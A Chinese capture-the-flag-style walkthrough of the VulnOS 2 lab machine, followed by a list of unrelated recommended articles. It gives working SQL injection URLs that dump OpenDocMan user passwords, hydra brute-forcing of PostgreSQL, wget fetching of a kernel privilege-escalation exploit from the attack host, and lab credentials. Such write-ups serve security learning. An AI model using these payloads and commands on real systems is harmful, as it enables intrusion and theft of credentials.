本文思路:

nmap端口扫描-->访问网站搜集信息-->利用OpenDocMan v1.2.7的sql注入漏洞获取webmin用户的密码-->webmin用户ssh登录搜集信息-->利用内核版本漏洞提权(或者 爆破postgresql用户名密码-->postgresql中获得vulnosadmin的密码-->通过vulnosadmin用户目录下的r00t.blend文件获得root用户密码)

具体步骤:

前置步骤:arp-scan扫描得到靶机ip

攻击机中输入

sudo arp-scan -l

扫描到同网段ip,根据靶机MAC地址,可知本靶机ip为192.168.101.27

步骤1:nmap端口扫描

攻击机上输入以下命令,对靶机进行TCP全端口的扫描

sudo nmap -sS -A -p- 192.168.101.27

扫描出开放端口22(ssh),80(http),6667(irc,这个有点神奇,不知道后面会不会用到)

步骤2:登录网页收集信息

浏览器访问:http://192.168.101.27/

进来之后是这样的提示通过渗透website获取root权限和flag

点击上图的website,来到​ http://192.168.101.27/jabc/​

在这个站点四处逛逛,最后来到了documentation页面:​http://192.168.101.27/jabc/?q=node/7

啥也没有,就有点诡异

右键 查看页面源代码,发现隐藏的提示

根据上图中的提示访问: http://192.168.101.27/jabcd0cs/

用户名和密码都是guest

在这个站点也翻了一遍没发现啥特有用的,但注意到网站是用OpenDocMan v1.2.7创建的。

在exploit-db中查找OpenDocMan,找到一条版本符合的

OpenDocMan 1.2.7 - Multiple Vulnerabilities - PHP webapps Exploithttps://www.exploit-db.com/exploits/32075里面记录了两个问题,一个是sql注入,由于我们现在是guest用户,可能可以利用这个获得管理员账户和密码;第二个是通过访问控制漏洞使当前用户获取管理员权限,我没用这个方法,但有小伙伴用这个方法也成功了。

步骤3:利用sql注入获取管理员账户和密码

那就试试sql注入吧:

浏览器访问如下url,获得当前数据库名称(其实这步没啥必要)

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,database(),3,4,5,6,7,8,9

浏览器访问如下url,获得当前数据库所有表名称

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()

浏览器访问如下url,获得当前数据库表odm_user的所有列名称。

特别注意,后端应该是过滤了引号,所以需要用十六进制编码来表示表名。

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0x6f646d5f75736572 and table_schema=database()

浏览器访问如下url,获得当前数据库表odm_user的列username和password的所有值

http://192.168.101.27/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,group_concat(concat(username,0x5e,password)),3,4,5,6,7,8,9 from odm_user

从上图结果可知,这个站点有两个用户,一个是我们已知的guest,另一个叫webmin,可能是管理员。

拿webmin的密码到md5解密网站上去解一下,得到webmin的密码webmin1980

步骤4:网页上的无效操作 TAT

拿webmin账户密码登录http://192.168.101.27/jabcd0cs/

可以发现admin页面http://192.168.101.27/jabcd0cs/admin.php

由于现阶段的目标是getshell,且网站有上传文件的功能,且之前尝试上传php文件没有上传成功,所以很有可能是需要用管理员账户修改上传文件相关的配置。

点击Edit file types进入http://192.168.101.27/jabcd0cs/filetypes.php?submit=update&state=2

点Add File Type进入http://192.168.101.27/jabcd0cs/filetypes.php?submit=AddNew

之前上传php文件的时候报的是不支持text/x-php,这里把text/x-php加上

来到http://192.168.101.27/jabcd0cs/add.php上传php反弹shell文件

上传成功

在  http://192.168.101.27/jabcd0cs/settings.php?submit=update&state=2 可以找到文件上传路径

访问文件上传路径 http://192.168.101.27/jabcd0cs/uploads/ 发现文件转换为.dat了。所以如果想通过访问php反弹shell文件获得反弹shell,还需要找到一个本地文件包含漏洞,但是遍访网站并没有找到这个漏洞TAT……这条路就断了

步骤5:getshell--用webmin账号登录ssh

用刚刚获得的webmin账号和密码webmin1980登录ssh,登录成功,获得shell

步骤6:根据内核版本提权

查看靶机内核版本

uname -a 

在exploit-db上搜索3.13.0,找到一个提权脚本

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploithttps://www.exploit-db.com/exploits/37292把这个脚本下载到攻击机上,攻击机上开http服务

python -m SimpleHTTPServer 7777

把这个提权脚本从攻击机下载到靶机上

wget http://192.168.101.25:7777/37292.c

在靶机上编译

gcc -o 37292 37292.c

执行

./37292

成功提权

输入如下命令,获得交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

找到flag

步骤7:另一种提权方法:通过另一个用户提权

其实到上一步这个靶机就可以结束了,但打靶机总不能老用内核提权吧,太没劲了。

在vulnhub上看到一个挺复杂的提权方法,跟着学习一下

g0blin Research: VulnOS 2 VulnHub Writeuphttps://g0blin.co.uk/vulnos-2-vulnhub-writeup/https://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdfhttps://download.vulnhub.com/media/vulnos2/VulnOSv2%20Walkthrough%20-%20c4b3rw0lf.pdf(1)用webmin账号密码ssh登录之后,首先切换到上一级目录,发现还有一个用户目录vulnosadmin,这个目录webmin是没有权限的。

(2)再进到webmin目录下,解压 post.tar.gz

tar zxvf post.tar.gz

看解压出来的结果,有很多hydra相关的文件,应该是要用到hydra爆破

(3)查看靶机监听状态的端口

由于webmin没有netstat -p选项的权限,所以得netstat两遍:

第一遍

netstat -ant

第二遍

netstat -at

两遍一对比,发现本地监听的一个是mysql(3306端口),一个是postgresql(5432端口)。

由于上一步中解压的文件夹名称是post,所以合理推测要爆破的是postgresql(5432端口)。

(4)安装hydra

进post目录

cd post

输入

./configure

再输入

make

输入如下命令,如果正常返回help结果,则表示hydra安装成功

hydra --help

(5)拷贝密码字典到靶机

攻击机上进入/usr/share/metasploit-framework/data/wordlists目录,开http服务

python -m SimpleHTTPServer 7777

靶机shell中输入,下载字典postgres_default_pass.txt

wget http://192.168.101.25:7777/postgres_default_pass.txt

(6)用hydra爆破postgresql密码

靶机shell输入命令

./hydra -L postgres_default_pass.txt -P postgres_default_pass.txt localhost postgres

爆破结果如下图,用户名postgres,密码postgres

(7) 进入postgresql,拿到vulnosadmin用户的密码

登录postgresql

psql -h localhost -U postgres

查看所有数据库

postgres=# \l

进入system数据库

postgres=# \c system

列出system数据库的表

system=# \dt

获取system数据库users表的内容(注意结尾分号,关键字大写)

system=# SELECT * FROM users;

获取到 vulnosadmin用户的密码c4nuh4ckm3tw1c3

(8)vulnosadmin用户ssh登录

ssh vulnosadmin@192.168.101.27

该用户目录下有一文件r00t.blend

(9)将r00t.blend拷贝到攻击机

靶机vulnosadmin用户shell开http服务,监听8888端口

python -m SimpleHTTPServer 8888

攻击机下载 r00t.blend文件

wget http://192.168.101.27:8888/r00t.blend

(10)攻击机(kali)安装blender

安装snapd

sudo apt update
sudo apt install snapd

启动snapd

sudo systemctl start snapd

安装blender

sudo snap install blender --classic

(11)用blender打开r00t.blend查看root用户的密码

打开blender

/snap/bin/blender

用blender打开r00t.blend,刚打开的时候就是一个四面不透风的方块,右上角小框框里面选Text,这个时候就能看到文字了

上面的图看不清到底什么字,左边选Rotate,旋转一下文字,可以看清是ab12fg//drg了,这个是root用户的密码

(12)root用户ssh登录

ssh root@192.168.101.27

输入密码 ab12fg//drg,成功登录

vulnhub VulnOS: 2相关推荐

  1. 靶机渗透练习90-Grotesque:1.0.1

    靶机描述 靶机地址:https://www.vulnhub.com/entry/grotesque-101,658/ Description get flags difficulty: medium ...

  2. 渗透测试靶机搭建_对vulnhub中Android4靶机渗透测试全过程!

    Android4靶机简介 名称:Android4 操作系统:Android v4.4 标志:/data/root/(在此目录中) 等级:初学者. 下载链接:Android4:https://downl ...

  3. Vulnhub靶机渗透之 RAVEN: 1

    目录 Description 网卡信息 信息收集 主机发现 主机存活扫描 端口扫描 网站信息 网站首页 nikto 报告 service 页面 wordpress 渗透过程 SSH 爆破 Hydr 命 ...

  4. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  5. 【Vulnhub靶机系列】DC2

    基本信息 Kali:192.168.61.145 DC2:192.168.61.162 实验过程 在Kali中先进行内网探活 sudo arp-scan --interface eth0 192.16 ...

  6. 【Vulnhub靶机系列】DC1

    基本信息 Kali: 192.168.56.116 DC1: 192.168.56.115 实验过程 先在Kali中使用arp-scan进行主机探活 sudo arp-scan --interface ...

  7. 利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

    JBoss JMXInvokerServlet 反序列化漏洞 Vulnhub官方复现教程 漏洞原理 复现过程 启动环境 端口设置 浏览器设置 BurpSuit设置 复现漏洞 序列化数据生成 发送POC ...

  8. 靶场练习第二十二天~vulnhub靶场之Momentum-2

    一.准备工作 靶机下载地址:Momentum: 2 ~ VulnHub 1.查看kali的ip 使用命令ifconfig 2.使用nmap命令 nmap 192.168.101.0/24 查看开放的端 ...

  9. 靶场练习第二十五天~vulnhub靶场之Raven-2

    一.准备工作 kali和靶机都选择NAT模式(kali与靶机同网段) 1.靶场环境 下载链接:Raven: 2 ~ VulnHub 2.kali的ip 命令:ifconfig 3.靶机的ip 扫描靶机 ...

最新文章

  1. 新技能 Get,使用直方图处理进行颜色校正
  2. WPA-PSK 4-way handshake 四次握手过程
  3. idea去除重复代码校验
  4. 超越95%面试者的秘籍 part 1
  5. switch语句可以被代替吗_大空间建筑内的消防水炮可以代替喷淋装置吗
  6. 笔记(用Python做些事情)--变量(数字、字符串)
  7. Python学习笔记__10.4章 进程VS线程
  8. Java学习笔记-正则表达式的模式匹配
  9. ZBrush中的Clip剪切笔刷怎么快速运用
  10. 数据结构与算法之霍夫曼编码解码实现
  11. 如何下载m3u8格式视频
  12. 深度相机原理及坐标系转换
  13. 公司办公提高无线网络质量解决方案
  14. 魔兽世界插件编写-第一个插件-空插件 EmptyAddOns
  15. 人工智能学习-传教士-15数码-拟合-逻辑推理
  16. 服务器登陆之后一直转无法显示桌面,如何解决远程登录Windows服务器无法显示桌面的问题?...
  17. 大连圣亚海洋世界:寻觅王子与公主的爱情
  18. 前端开发的基础生产力素养(后期不定期更新)
  19. Java及JavaScript常见框架汇总
  20. Android 使用CameraX拍照,自动对焦,以及证件照剪切

热门文章

  1. 微信偷偷更新了一个emoji表情!
  2. hadoop搭建成功的标志
  3. 洛谷P1902 刺杀大使(二分答案+bfs验证)
  4. mysql+HTML+css01
  5. 区块链技术在金融行业的应用
  6. 混沌笔记-混沌现象的定义
  7. c语言 printf打印字符串
  8. Altium Designer 电路仿真
  9. dz论坛邮件服务器配置,国内常用的建站CMS系统smtp发送邮件功能配置指南
  10. 第十一周 项目七:太乐了(泰勒公式)